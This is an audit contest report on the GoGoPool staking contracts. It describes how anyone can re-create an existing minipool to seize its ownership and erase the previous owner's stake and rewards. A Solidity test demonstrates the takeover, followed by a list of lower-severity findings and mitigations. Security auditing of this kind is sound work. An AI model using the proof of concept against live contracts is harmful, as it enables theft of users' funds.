GoGoPool contest - pauliax's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L163-L164 https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L287-L303 https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L242-L247 https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L259

Vulnerability details

Impact

When the minipool is in the Withdrawable state, it is possible to transition either to Finished or Prelaunch state.

  else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) {
    isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch);
  }

The intention was that the owner can withdrawMinipoolFunds or multisig can compound the rewards and recreateMinipool. However, there exists another option, function createMinipool can also reset minipool if it already exists:

  if (minipoolIndex != -1) {
	requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
	resetMinipoolData(minipoolIndex);
	// Also reset initialStartTime as we are starting a whole new validation
	setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")), 0);
  }

If createMinipool is invoked for an existing nodeID before the previous rewards and stakes are claimed, these assets will be forfeited. What is worse, anyone can call createMinipool, there is no validation against the owner, thus any malicious actor can wait until the minipool enters the Withdrawable state and then create this minipool again, this time setting themselves as a new owner. The old owner will lose their avaxNodeOpAmt and avaxNodeOpRewardAmt.

  setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender);

Proof of Concept

I have modified one of your tests to PoC this vulnerability:

  function testWithdrawMinipoolFunds() public {
	address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
	vm.prank(liqStaker1);
	ggAVAX.depositAVAX{value: MAX_AMT}();

	uint256 duration = 2 weeks;
	uint256 depositAmt = 1000 ether;
	uint256 avaxAssignmentRequest = 1000 ether;
	uint256 validationAmt = depositAmt + avaxAssignmentRequest;
	uint128 ggpStakeAmt = 200 ether;

	vm.startPrank(nodeOp);
	ggp.approve(address(staking), MAX_AMT);
	staking.stakeGGP(ggpStakeAmt);
	MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
	vm.stopPrank();

	vm.startPrank(address(rialto));
	minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
	bytes32 txID = keccak256("txid");
	minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);

	skip(duration);

	uint256 rewards = 10 ether;
	uint256 halfRewards = rewards / 2;
	deal(address(rialto), address(rialto).balance + rewards);
	minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, rewards);
	uint256 percentage = dao.getMinipoolNodeCommissionFeePct();
	uint256 commissionFee = (percentage).mulWadDown(halfRewards);
	vm.stopPrank();

	vm.startPrank(nodeOp);
	ggp.transfer(liqStaker1, depositAmt);
	payable(liqStaker1).transfer(depositAmt);
	// uint256 priorBalanceNodeOp = nodeOp.balance;
	// minipoolMgr.withdrawMinipoolFunds(mp1.nodeID);
	// assertEq((nodeOp.balance - priorBalanceNodeOp), (1000 ether + halfRewards + commissionFee));
	vm.stopPrank();

	vm.startPrank(liqStaker1);
	ggp.approve(address(staking), MAX_AMT);
	staking.stakeGGP(ggpStakeAmt);

	minipoolMgr.createMinipool{value : depositAmt}(mp1.nodeID, mp1.duration, mp1.delegationFee, avaxAssignmentRequest);

	int256 index = minipoolMgr.getIndexOf(mp1.nodeID);
	mp1 = minipoolMgr.getMinipool(index);

	assertEq(mp1.avaxNodeOpRewardAmt, 0 ether);
	assertEq(mp1.owner, liqStaker1);

	vm.stopPrank();
  }

As you can see, liqStaker1 owns this minipool and resets avaxNodeOpRewardAmt to 0 before the original owner withdraws funds.

Recommended Mitigation Steps

createMinipool should not allow recreating minipool if avaxNodeOpRewardAmt and avaxNodeOpAmt are not 0, or at least claim it on behalf of the previous owner. Also, consider preventing unauthorized actors from accessing nodeID that does not belong to them, at least checking that the owner address does not change when the minipool is instantiated again, and maybe add a separate function to transfer the ownership of minipool.

Judge has assessed an item in Issue #854 as 2 risk. The relevant finding follows:

When the protocol is paused, all the multisigs are disabled:, However, it is still possible to call startRewardsCycle in the RewardsPool, however, the execution will revert because the enabled count is 0:

• Anyone can send AVAX to the MinipoolManager contract. Consider applying the onlyRegisteredNetworkContract modifier.

  function receiveWithdrawalAVAX() external payable {}

• NewRewardsCycleStarted event is emitted too early because the inflate will change the total amount:

  function startRewardsCycle() external {
    ...

    emit NewRewardsCycleStarted(getRewardsCycleTotalAmt());

    ...
    inflate();

  function inflate() internal {
    ...
    setUint(keccak256("RewardsPool.RewardsCycleTotalAmt"), newTokens);
  }

• You do not need to inherit Initializable here because ERC20Upgradeable is Initializable:

  abstract contract ERC4626Upgradeable is Initializable, ERC20Upgradeable

• Contracts do not account for deflationary (or other weird) ERC20 tokens, for instance, when transferring it could check the actual balance (after-before) that was transferred, e.g. Vault:

  // Send tokens to this address now, safeTransfer will revert if it fails
  tokenContract.safeTransferFrom(msg.sender, address(this), amount);
  // Update balances
  tokenBalances[contractKey] = tokenBalances[contractKey] + amount;

ERC4626Upgradeable:

  // Need to transfer before minting or ERC777s could reenter.
  asset.safeTransferFrom(msg.sender, address(this), assets);
  
  _mint(receiver, shares);

• allowedTokens is private and no events are emitted when changing the status making it a bit more complicated to find if a token is allowed or not:

  mapping(address => bool) private allowedTokens;

  function addAllowedToken(address tokenAddress) external onlyGuardian {
	allowedTokens[tokenAddress] = true;
  }

  function removeAllowedToken(address tokenAddress) external onlyGuardian {
	allowedTokens[tokenAddress] = false;
  }

• When creating a minipool, it does not actually verify: "node operator specified fee (must be between 0 and 1 ether) 2% is 0.2 ether":

  setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".delegationFee")), delegationFee);

• There is no priority on which pool will receive the avaxLiquidStakerAmt match first meaning new node operators that come after you may still get matched earlier if the Rialto multisig decides so. There should be objective priority criteria, e.g. higher GGP stake, or first come, first serve, etc. to give every node operator a transparent way to compete for funds.

• When the protocol is paused, all the multisigs are disabled:

  function pauseEverything() external onlyDefender {
	ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO"));
	dao.pauseContract("TokenggAVAX");
	dao.pauseContract("MinipoolManager");
	dao.pauseContract("Staking");
	disableAllMultisigs();
  }

However, it is still possible to call startRewardsCycle in the RewardsPool, however, the execution will revert because the enabled count is 0:

  uint256 tokensPerMultisig = allotment / enabledCount;

I think it would be nice to apply whenNotPaused modifier.

• ProtocolDAO and RewardsPool contracts contain initialize function which is callable by onlyGuardian. Other parts of the codebase depend on the initialization parameters, however, they do not check if the aforementioned contracts were initialized. While not very likely, there is no guarantee the guardian will initialize the protocol in time but I assume it will be handled with automated scripts, so no big issue here.

• finishFailedMinipoolByMultisig is supposed to let the multisig move a minipool from the error state to the finished state, yet a Withdrawable state can also be transitioned to Finished. This would discard the owner's stake and rewards.

  function finishFailedMinipoolByMultisig(address nodeID) external {
    int256 minipoolIndex = onlyValidMultisig(nodeID);
    requireValidStateTransition(minipoolIndex, MinipoolStatus.Finished);

• Missing avaxAssignedHighWater field:

  function getStaker(int256 stakerIndex) public view returns (Staker memory staker) {
    staker.ggpStaked = getUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".ggpStaked")));
    staker.avaxAssigned = getUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".avaxAssigned")));
    staker.avaxStaked = getUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".avaxStaked")));
    staker.stakerAddr = getAddress(keccak256(abi.encodePacked("staker.item", stakerIndex, ".stakerAddr")));
    staker.minipoolCount = getUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".minipoolCount")));
    staker.rewardsStartTime = getUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".rewardsStartTime")));
    staker.ggpRewards = getUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".ggpRewards")));
    staker.lastRewardsCycleCompleted = getUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".lastRewardsCycleCompleted")));
  }

• All the supply of GGP is minted upfront, I wonder why can't it mint on demand with privileged _mint functions?

  contract TokenGGP is ERC20 {
    uint256 private constant TOTAL_SUPPLY = 22_500_000 ether;

    constructor() ERC20("GoGoPool Protocol", "GGP", 18) {
      _mint(msg.sender, TOTAL_SUPPLY);
    }
  }

Also, theoretically, the governance can change getContractAddress("TokenGGP") and thus escape this limitation.

• Todos are left in nearly production code:

  // Calculate rewards splits (these will all be zero if no rewards were recvd)
  // TODO Revisit this logic if we ever allow unequal matched funds
  uint256 avaxHalfRewards = avaxTotalRewardAmt / 2;

  // TODO cant use onlySpecificRegisteredContract("ClaimNodeOp", msg.sender) since we also call from increaseMinipoolCount. Wat do?
  function setRewardsStartTime(address stakerAddr, uint256 time) public onlyRegisteredNetworkContract